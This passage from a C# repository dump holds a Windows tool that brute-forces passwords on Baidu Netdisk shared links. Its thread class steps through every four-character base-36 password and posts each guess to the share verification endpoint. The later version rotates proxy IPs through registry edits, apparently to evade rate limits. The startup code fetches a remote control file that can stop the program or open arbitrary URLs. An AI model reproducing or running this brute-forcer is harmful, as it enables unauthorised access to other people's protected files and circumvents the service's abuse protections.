18 | /// 访问的链接
19 | public HttpTest(string url)
20 | {
21 | info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
22 | }
23 |
24 | ///
25 | /// 访问网页
26 | ///
27 | ///
28 | public string Get()
29 | {
30 | return HttpGet("https://pan.baidu.com/share/init?" + info);
31 | }
32 |
33 | ///
34 | /// 提交密码
35 | ///
36 | /// 密码
37 | ///
38 | public string Post(string pwd)
39 | {
40 | DateTime time = DateTime.Now;
41 | DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
42 | string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
43 |
44 | string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
45 | string data = "pwd=" + pwd + "&vcode=&vcode_str=";
46 |
47 | return HttpPost(url, data);
48 | }
49 |
50 | #region 网络请求
51 |
52 | private CookieContainer cookie = new CookieContainer();
53 |
54 | #region Get请求
55 |
56 | ///
57 | /// 请求路径
58 | ///
59 | /// 请求的路径
60 | /// 返回请求的网页数据
61 | private string HttpGet(string Url)
62 | {
63 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
64 | request.Method = "GET";
65 | request.ContentType = "text/html;charset=UTF-8";
66 | request.CookieContainer = cookie;
67 |
68 | try
69 | {
70 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
71 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
72 | string retString = myStreamReader.ReadToEnd();
73 | myStreamReader.Close();
74 | return retString;
75 | }
76 | catch (Exception e)
77 | {
78 | return e.Message;
79 | }
80 | }
81 |
82 | #endregion Get请求
83 |
84 | #region Post请求
85 |
86 | ///
87 | /// 提交数据
88 | ///
89 | /// 提交的路径
90 | /// 提交的数据
91 | /// 返回结果
92 | private string HttpPost(string Url, string Data)
93 | {
94 | try
95 | {
96 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
97 | request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
98 | request.Referer = "https://pan.baidu.com/share/init?" + info;
99 | request.ContentLength = Encoding.UTF8.GetByteCount(Data);
100 | request.CookieContainer = cookie;
101 | request.Method = "POST";
102 |
103 | Stream myRequestStream = request.GetRequestStream();
104 | byte[] postBytes = Encoding.UTF8.GetBytes(Data);
105 | myRequestStream.Write(postBytes, 0, postBytes.Length);
106 |
107 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
108 | response.Cookies = cookie.GetCookies(response.ResponseUri);
109 |
110 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
111 | string retString = myStreamReader.ReadToEnd();
112 | myStreamReader.Close();
113 |
114 | return retString;
115 | }
116 | catch (Exception ex)
117 | {
118 | return ex.Message;
119 | }
120 | }
121 |
122 | #endregion Post请求
123 |
124 | #endregion 网络请求
125 | }
126 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/HttpThread.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Timers;
4 |
5 | namespace zgcwkj
6 | {
7 | public class HttpThread
8 | {
9 | private Main myMain;//主窗体
10 | private int StartValue = 0;//基值
11 | private int NumberValue = 0;//剩余次数
12 | private Timer timer;//线程
13 | private string ThreadID;//线程ID
14 |
15 | ///
16 | /// http请求线程类
17 | ///
18 | /// 主窗体
19 | /// 线程名称
20 | /// 开始值
21 | /// 结束值
22 | /// 线程速度
23 | public HttpThread(Main main, string name, int start, int number, int interval)
24 | {
25 | myMain = main;
26 | StartValue = start;
27 | NumberValue = number;
28 | ThreadID = StaticClass.file + "/" + name;
29 | timer = new Timer(interval);
30 | }
31 |
32 | ///
33 | /// 启动线程
34 | ///
35 | ///
36 | public HttpThread Start()
37 | {
38 | #region 载入历史参数
39 |
40 | try
41 | {
42 | if (File.Exists(ThreadID + ".ini"))
43 | {
44 | string _start = File.ReadAllText(ThreadID + ".ini");
45 | if (_start != "") StartValue = Convert.ToInt32(_start);
46 | }
47 | }
48 | catch { }
49 |
50 | #endregion 载入历史参数
51 |
52 | timer.Elapsed += new ElapsedEventHandler(_Timer);
53 | timer.Start();
54 | return this;
55 | }
56 |
57 | private void _Timer(object sender, ElapsedEventArgs e)
58 | {
59 | Timer timer = sender as Timer;
60 | if (NumberValue < StartValue || StaticClass.status)
61 | {
62 | #region 保存历史参数
63 |
64 | try
65 | {
66 | File.Delete(ThreadID + ".ini");
67 | File.AppendAllText(ThreadID + ".ini", StartValue.ToString());
68 | }
69 | catch { }
70 |
71 | #endregion 保存历史参数
72 |
73 | timer.Stop();
74 | }
75 | else
76 | {
77 | string password = Hash.HashTo4Str(StartValue);
78 | HttpTest httptest = new HttpTest(StaticClass.url);
79 | myMain.ModifyStr(httptest.Post(password), password);
80 | StartValue = StartValue + 1;
81 | }
82 | }
83 | }
84 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Windows.Forms;
3 |
4 | namespace zgcwkj
5 | {
6 | internal static class Program
7 | {
8 | ///
9 | /// 应用程序的主入口点。
10 | ///
11 | [STAThread]
12 | private static void Main()
13 | {
14 | Application.EnableVisualStyles();
15 | Application.SetCompatibleTextRenderingDefault(false);
16 | Application.Run(new Main());
17 | }
18 | }
19 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.InteropServices;
3 |
4 | // 有关程序集的一般信息由以下
5 | // 控制。更改这些特性值可修改
6 | // 与程序集关联的信息。
7 | [assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
8 | [assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
9 | [assembly: AssemblyConfiguration("")]
10 | [assembly: AssemblyCompany("zgcwkj")]
11 | [assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
12 | [assembly: AssemblyCopyright("Copyright © 2018")]
13 | [assembly: AssemblyTrademark("zgcwkj")]
14 | [assembly: AssemblyCulture("")]
15 |
16 | //将 ComVisible 设置为 false 将使此程序集中的类型
17 | //对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
18 | //请将此类型的 ComVisible 特性设置为 true。
19 | [assembly: ComVisible(false)]
20 |
21 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
22 | [assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
23 |
24 | // 程序集的版本信息由下列四个值组成:
25 | //
26 | // 主版本
27 | // 次版本
28 | // 生成号
29 | // 修订号
30 | //
31 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
32 | // 方法是按如下所示使用“*”: :
33 | // [assembly: AssemblyVersion("1.0.*")]
34 | [assembly: AssemblyVersion("1.8.0.5")]
35 | [assembly: AssemblyFileVersion("1.8.0.5")]
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// 一个强类型的资源类,用于查找本地化的字符串等。
17 | ///
18 | // 此类是由 StronglyTypedResourceBuilder
19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
21 | // (以 /str 作为命令选项),或重新生成 VS 项目。
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// 返回此类使用的缓存的 ResourceManager 实例。
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// 使用此强类型资源类,为所有资源查找
51 | /// 重写当前线程的 CurrentUICulture 属性。
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/StaticClass.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Text;
5 |
6 | namespace zgcwkj
7 | {
8 | ///
9 | /// 静态类
10 | ///
11 | public static class StaticClass
12 | {
13 | #region 静态字符串
14 |
15 | ///
16 | /// 线程状态
17 | ///
18 | public static bool status { get; set; }
19 |
20 | ///
21 | /// 目标连接
22 | ///
23 | public static string url { get; set; }
24 |
25 | ///
26 | /// 存放的路径
27 | ///
28 | public static string file { get; set; }
29 |
30 | #endregion 静态字符串
31 |
32 | #region 静态方法
33 |
34 | ///
35 | /// Get请求
36 | ///
37 | public static string HttpGet(string Url)
38 | {
39 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
40 | request.Method = "GET";
41 | request.ContentType = "text/html;charset=UTF-8";
42 |
43 | try
44 | {
45 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
46 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
47 | string retString = myStreamReader.ReadToEnd();
48 | myStreamReader.Close();
49 | return retString;
50 | }
51 | catch (Exception e)
52 | {
53 | return e.Message;
54 | }
55 | }
56 |
57 | #endregion 静态方法
58 | }
59 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/TestPassword.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}
8 | WinExe
9 | Properties
10 | zgcwkj
11 | TestPassword
12 | v4.0
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | ico.ico
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 | Form
55 |
56 |
57 | Main.cs
58 |
59 |
60 |
61 |
62 |
63 | Main.cs
64 |
65 |
66 | ResXFileCodeGenerator
67 | Resources.Designer.cs
68 | Designer
69 |
70 |
71 | True
72 | Resources.resx
73 | True
74 |
75 |
76 | SettingsSingleFileGenerator
77 | Settings.Designer.cs
78 |
79 |
80 | True
81 | Settings.settings
82 | True
83 |
84 |
85 |
86 |
87 |
88 |
89 |
96 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/ico.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.8.0.5/TestPassword/ico.ico
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/ico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.8.0.5/TestPassword/ico.png
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.23107.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/Hash.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace zgcwkj
4 | {
5 | public static class Hash
6 | {
7 | //哈希类 36进制
8 | //有效哈希[10000000,11679615]
9 |
10 | #region 只支持4位 By MXWXZ
11 |
12 | public static string HashTo4Str(int hash)
13 | {
14 | string ret = "";
15 | hash -= 10000000;
16 | while (hash > 0)
17 | {
18 | ret += Hash2Char(hash % 36);
19 | hash /= 36;
20 | }
21 | if (ret.Length == 3) ret += "0";//前导零
22 | if (ret.Length == 2) ret += "00";
23 | if (ret.Length == 1) ret += "000";
24 | if (ret.Length == 0) ret += "0000";
25 | return reverse(ret);
26 | }
27 |
28 | public static int StrTo4Hash(string str)
29 | {
30 | int ret = 0;
31 | ret += Char2Hash(str[0]) * 46656;
32 | ret += Char2Hash(str[1]) * 1296;
33 | ret += Char2Hash(str[2]) * 36;
34 | ret += Char2Hash(str[3]);
35 | ret += 10000000;//防止前导零
36 | return ret;
37 | }
38 |
39 | #endregion 只支持4位 By MXWXZ
40 |
41 | #region 只支持6位 By zgcwkj
42 |
43 | public static string HashTo6Str(int hash)
44 | {
45 | string ret = "";
46 | hash -= 100000;
47 | while (hash > 0)
48 | {
49 | ret += Hash2Char(hash % 36);
50 | hash /= 36;
51 | }
52 | if (ret.Length == 5) ret += "0";//前导零
53 | if (ret.Length == 4) ret += "00";
54 | if (ret.Length == 3) ret += "000";
55 | if (ret.Length == 2) ret += "0000";
56 | if (ret.Length == 1) ret += "00000";
57 | if (ret.Length == 0) ret += "000000";
58 | return reverse(ret);
59 | }
60 |
61 | public static int StrTo6Hash(string str)
62 | {
63 | int ret = 0;
64 | ret += Char2Hash(str[0]) * 60466176;
65 | ret += Char2Hash(str[1]) * 1679616;
66 | ret += Char2Hash(str[2]) * 46656;
67 | ret += Char2Hash(str[3]) * 1296;
68 | ret += Char2Hash(str[4]) * 36;
69 | ret += Char2Hash(str[5]);
70 | ret += 100000;//防止前导零
71 | return ret;
72 | }
73 |
74 | #endregion 只支持6位 By zgcwkj
75 |
76 | private static int Char2Hash(char c)
77 | {
78 | if (c >= '0' && c <= '9') return c - '0';
79 | else return c - 'a' + 10;
80 | }
81 |
82 | private static char Hash2Char(int hash)
83 | {
84 | if (hash >= 0 && hash <= 9) return (char)('0' + hash);
85 | else return (char)('a' + hash - 10);
86 | }
87 |
88 | private static string reverse(string str)
89 | {
90 | char[] arr = str.ToCharArray();
91 | Array.Reverse(arr);
92 | return new string(arr);
93 | }
94 | }
95 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/HttpHelp.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Net;
6 | using System.Text;
7 |
8 | namespace zgcwkj
9 | {
10 | ///
11 | /// 网络请求帮助类
12 | ///
13 | public static class HttpHelp
14 | {
15 |
16 | public static CookieContainer cookie = new CookieContainer();
17 |
18 | #region Get请求
19 |
20 | ///
21 | /// 请求路径
22 | ///
23 | /// 请求的路径
24 | /// 返回请求的网页数据
25 | public static string HttpGet(string Url)
26 | {
27 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
28 | request.Method = "GET";
29 | request.ContentType = "text/html;charset=UTF-8";
30 | request.CookieContainer = cookie;
31 |
32 | try
33 | {
34 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
35 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
36 | string retString = myStreamReader.ReadToEnd();
37 | myStreamReader.Close();
38 | return retString;
39 | }
40 | catch (Exception e)
41 | {
42 | throw e;
43 | }
44 | }
45 |
46 | #endregion Get请求
47 |
48 | #region Post请求
49 |
50 | ///
51 | /// 提交数据
52 | ///
53 | /// 提交的路径
54 | /// 提交的数据
55 | /// 返回结果
56 | public static string HttpPost(string Url, string Data)
57 | {
58 | try
59 | {
60 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
61 | request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
62 | request.Referer = Url;
63 | request.ContentLength = Encoding.UTF8.GetByteCount(Data);
64 | request.CookieContainer = cookie;
65 | request.Method = "POST";
66 |
67 | Stream myRequestStream = request.GetRequestStream();
68 | byte[] postBytes = Encoding.UTF8.GetBytes(Data);
69 | myRequestStream.Write(postBytes, 0, postBytes.Length);
70 |
71 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
72 | response.Cookies = cookie.GetCookies(response.ResponseUri);
73 |
74 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
75 | string retString = myStreamReader.ReadToEnd();
76 | myStreamReader.Close();
77 |
78 | return retString;
79 | }
80 | catch (Exception ex)
81 | {
82 | throw ex;
83 | }
84 | }
85 |
86 | #endregion Post请求
87 | }
88 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/HttpProxy.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Win32;
2 | using System;
3 | using System.IO;
4 |
5 | namespace zgcwkj
6 | {
7 | public class HttpProxy
8 | {
9 | #region 启动IP代理服务
10 |
11 | ///
12 | /// 启动IP代理服务
13 | ///
14 | ///
15 | public bool startUp()
16 | {
17 | //记录Goto的次数
18 | int i = 0;
19 | //Goto 重新获取IP启动代理服务
20 | Retry:
21 | //Goto的次数自增
22 | i++;
23 | //尝试的次数达到一定的次数时退出
24 | if (i > 10) return false;
25 | //关闭代理服务
26 | if (GetSwitchState()) SwitchOff();
27 |
28 | #region 验证文件
29 |
30 | //文件不存在
31 | if (!File.Exists(StaticClass.proxy)) return false;
32 | //文件为空
33 | if (File.ReadAllText(StaticClass.proxy) == "") return false;
34 | //文件为空
35 | if (File.ReadAllText(StaticClass.proxy) == "\r\n") return false;
36 |
37 | #endregion 验证文件
38 |
39 | //获取电脑之前记录的代理IP
40 | string ip = GetProxyIp();
41 | //通过API获取代理数据
42 | try
43 | {
44 | string proxy = File.ReadAllText(StaticClass.proxy);
45 | string[] proxys = proxy.Replace("\r", "").Split('\n');
46 | ip = proxys[0];
47 |
48 | File.Delete(StaticClass.proxy);
49 | File.AppendAllText(StaticClass.proxy, proxy.Replace(ip + "\r\n", ""));
50 | }
51 | catch (Exception e)
52 | {
53 | string str = e.Message;
54 | }
55 | //设置代理IP
56 | SwitchOn(ip);
57 | //验证代理IP能否使用
58 | try
59 | {
60 | HttpHelp.HttpGet("https://blog.zgcwkj.top");
61 | return true;
62 | }
63 | catch (Exception e)
64 | {
65 | string str = e.Message;
66 | SwitchOff();
67 | //Goto 重试
68 | goto Retry;
69 | }
70 | }
71 |
72 | #endregion 启动IP代理服务
73 |
74 | #region 通过注册表修改代理服务
75 |
76 | //注册表位置
77 | private string reg_path = @"Microsoft\Windows\CurrentVersion\Internet Settings";
78 |
79 | //Key名称
80 | private string key_name = "ProxyServer";
81 |
82 | //switch名称
83 | private string switch_name = "ProxyEnable";
84 |
85 | //启动代理
86 | public void SwitchOn(string ip_port)
87 | {
88 | SetRegValue(reg_path, key_name, ip_port);
89 | SetRegValue(reg_path, switch_name, 1);
90 | }
91 |
92 | //停止代理
93 | public void SwitchOff()
94 | {
95 | SetRegValue(reg_path, switch_name, 0);
96 | }
97 |
98 | //获取代理状态
99 | public bool GetSwitchState()
100 | {
101 | return GetRegValue(reg_path, switch_name) == "1";
102 | }
103 |
104 | //获取代理IP
105 | public string GetProxyIp()
106 | {
107 | return GetRegValue(reg_path, key_name);
108 | }
109 |
110 | private void SetRegValue(string path, string name, T value)
111 | {
112 | RegistryKey expr_05 = Registry.CurrentUser;
113 | RegistryKey expr_17 = expr_05.OpenSubKey(@"Software\" + path, true);
114 | expr_17.SetValue(name, value);
115 | expr_17.Close();
116 | expr_05.Close();
117 | }
118 |
119 | private string GetRegValue(string path, string name)
120 | {
121 | string result = string.Empty;
122 | RegistryKey currentUser = Registry.CurrentUser;
123 | RegistryKey registryKey = currentUser.OpenSubKey("Software\\" + path);
124 | if (registryKey == null)
125 | {
126 | return null;
127 | }
128 | object value = registryKey.GetValue(name);
129 | if (value != null)
130 | {
131 | result = value.ToString();
132 | }
133 | registryKey.Close();
134 | currentUser.Close();
135 | return result;
136 | }
137 |
138 | #endregion 通过注册表修改代理服务
139 | }
140 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/HttpThread.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Timers;
4 |
5 | namespace zgcwkj
6 | {
7 | public class HttpThread
8 | {
9 | private Main myMain;//主窗体
10 | private int StartValue = 0;//基值
11 | private int NumberValue = 0;//剩余次数
12 | private Timer timer;//线程
13 | private string ThreadID;//线程ID
14 |
15 | ///
16 | /// http请求线程类
17 | ///
18 | /// 主窗体
19 | /// 线程名称
20 | /// 开始值
21 | /// 结束值
22 | /// 线程速度
23 | public HttpThread(Main main, string name, int start, int number, int interval)
24 | {
25 | myMain = main;
26 | StartValue = start;
27 | NumberValue = number;
28 | ThreadID = StaticClass.file + "/" + name;
29 | timer = new Timer(interval);
30 | }
31 |
32 | ///
33 | /// 启动线程
34 | ///
35 | ///
36 | public HttpThread Start()
37 | {
38 | #region 载入历史参数
39 |
40 | try
41 | {
42 | if (File.Exists(ThreadID + ".ini"))
43 | {
44 | string _start = File.ReadAllText(ThreadID + ".ini");
45 | if (_start != "") StartValue = Convert.ToInt32(_start);
46 | }
47 | }
48 | catch { }
49 |
50 | #endregion 载入历史参数
51 |
52 | timer.Elapsed += new ElapsedEventHandler(_Timer);
53 | timer.Start();
54 | return this;
55 | }
56 |
57 | private void _Timer(object sender, ElapsedEventArgs e)
58 | {
59 | Timer timer = sender as Timer;
60 | if (NumberValue < StartValue || StaticClass.status)
61 | {
62 | #region 保存历史参数
63 |
64 | try
65 | {
66 | File.Delete(ThreadID + ".ini");
67 | File.AppendAllText(ThreadID + ".ini", StartValue.ToString());
68 | }
69 | catch { }
70 |
71 | #endregion 保存历史参数
72 |
73 | timer.Stop();
74 | }
75 | else
76 | {
77 | string password = Hash.HashTo4Str(StartValue);
78 | HttpTest httptest = new HttpTest(StaticClass.url);
79 | myMain.ModifyStr(httptest.Post(password), password);
80 | StartValue = StartValue + 1;
81 | }
82 | }
83 | }
84 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Threading;
3 | using System.Windows.Forms;
4 |
5 | namespace zgcwkj
6 | {
7 | internal static class Program
8 | {
9 | ///
10 | /// 应用程序的主入口点。
11 | ///
12 | [STAThread]
13 | private static void Main()
14 | {
15 | bool Uniquely_Identifies_TestPassword;
16 | // 在此方法返回时,如果创建了局部互斥体(即,如果 name 为 null 或空字符串)或指定的命名系统互斥体,则包含布尔值 true;
17 | // 如果指定的命名系统互斥体已存在,则为false
18 | using (Mutex mutex = new Mutex(true, Application.ProductName, out Uniquely_Identifies_TestPassword))
19 | {
20 | if (Uniquely_Identifies_TestPassword)
21 | {
22 | Application.EnableVisualStyles();
23 | Application.SetCompatibleTextRenderingDefault(false);
24 | if (ServiceVerificat())
25 | {
26 | Application.Run(new Main());
27 | }
28 | }
29 | else//程序已经运行的情况,则弹出消息提示并终止此次运行
30 | {
31 | MessageBox.Show("应用程序已经启动了");
32 | System.Threading.Thread.Sleep(1000);
33 | // 终止此进程并为基础操作系统提供指定的退出代码。
34 | System.Environment.Exit(1);
35 | }
36 | }
37 | }
38 |
39 | ///
40 | /// 程序服务验证
41 | ///
42 | ///
43 | private static bool ServiceVerificat()
44 | {
45 | //返回的状态
46 | bool status = false;
47 |
48 | try
49 | {
50 | new HttpProxy().SwitchOff();
51 | string Serve = HttpHelp.HttpGet("http://www.zgcwkj.top/TestPassword/Serve.txt");
52 | string[] Serves = Serve.Replace("\r", "").Split('\n');
53 |
54 | #region 更新模块
55 |
56 | if (Serves.Length >= 1)
57 | {
58 | if (Serves[0] != "")
59 | {
60 | string[] Update = Serves[0].Split('|');
61 | //是否强制更新
62 | if (Convert.ToBoolean(Update[0]))
63 | {
64 | //匹配版本号进行判断
65 | int versions = Convert.ToInt32(Application.ProductVersion.Replace(".", ""));
66 | if (versions < Convert.ToInt32(Update[1]))
67 | {
68 | //提示更新内容
69 | MessageBox.Show(Update[2]);
70 | //通过浏览器跳转
71 | try { System.Diagnostics.Process.Start(Update[3]); } catch { }
72 | //直接终止程序运行
73 | return false;
74 | }
75 | }
76 | }
77 | }
78 |
79 | #endregion 更新模块
80 |
81 | #region 程序状态
82 |
83 | if (Serves.Length >= 2)
84 | {
85 | if (Serves[1] != "")
86 | {
87 | //程序状态
88 | if (Convert.ToBoolean(Serves[1])) { status = true; }
89 | }
90 | }
91 |
92 | #endregion 程序状态
93 |
94 | #region 提示内容
95 |
96 | if (Serves.Length >= 3)
97 | {
98 | if (Serves[2] != "")
99 | {
100 | //提示消息内容
101 | MessageBox.Show(Serves[2]);
102 | }
103 | }
104 |
105 | #endregion 提示内容
106 |
107 | #region 浏览器跳转
108 |
109 | if (Serves.Length >= 4)
110 | {
111 | if (Serves[3] != "")
112 | {
113 | //通过浏览器跳转
114 | try { System.Diagnostics.Process.Start(Serves[3]); } catch { }
115 | }
116 | }
117 |
118 | #endregion 浏览器跳转
119 | }
120 | catch (Exception e)
121 | {
122 | string str = e.Message;
123 | MessageBox.Show("请检查网络状态");
124 | status = false;
125 | }
126 | return status;
127 | }
128 | }
129 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.InteropServices;
3 |
4 | // 有关程序集的一般信息由以下
5 | // 控制。更改这些特性值可修改
6 | // 与程序集关联的信息。
7 | [assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
8 | [assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
9 | [assembly: AssemblyConfiguration("")]
10 | [assembly: AssemblyCompany("zgcwkj")]
11 | [assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
12 | [assembly: AssemblyCopyright("Copyright © 2018")]
13 | [assembly: AssemblyTrademark("zgcwkj")]
14 | [assembly: AssemblyCulture("")]
15 |
16 | //将 ComVisible 设置为 false 将使此程序集中的类型
17 | //对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
18 | //请将此类型的 ComVisible 特性设置为 true。
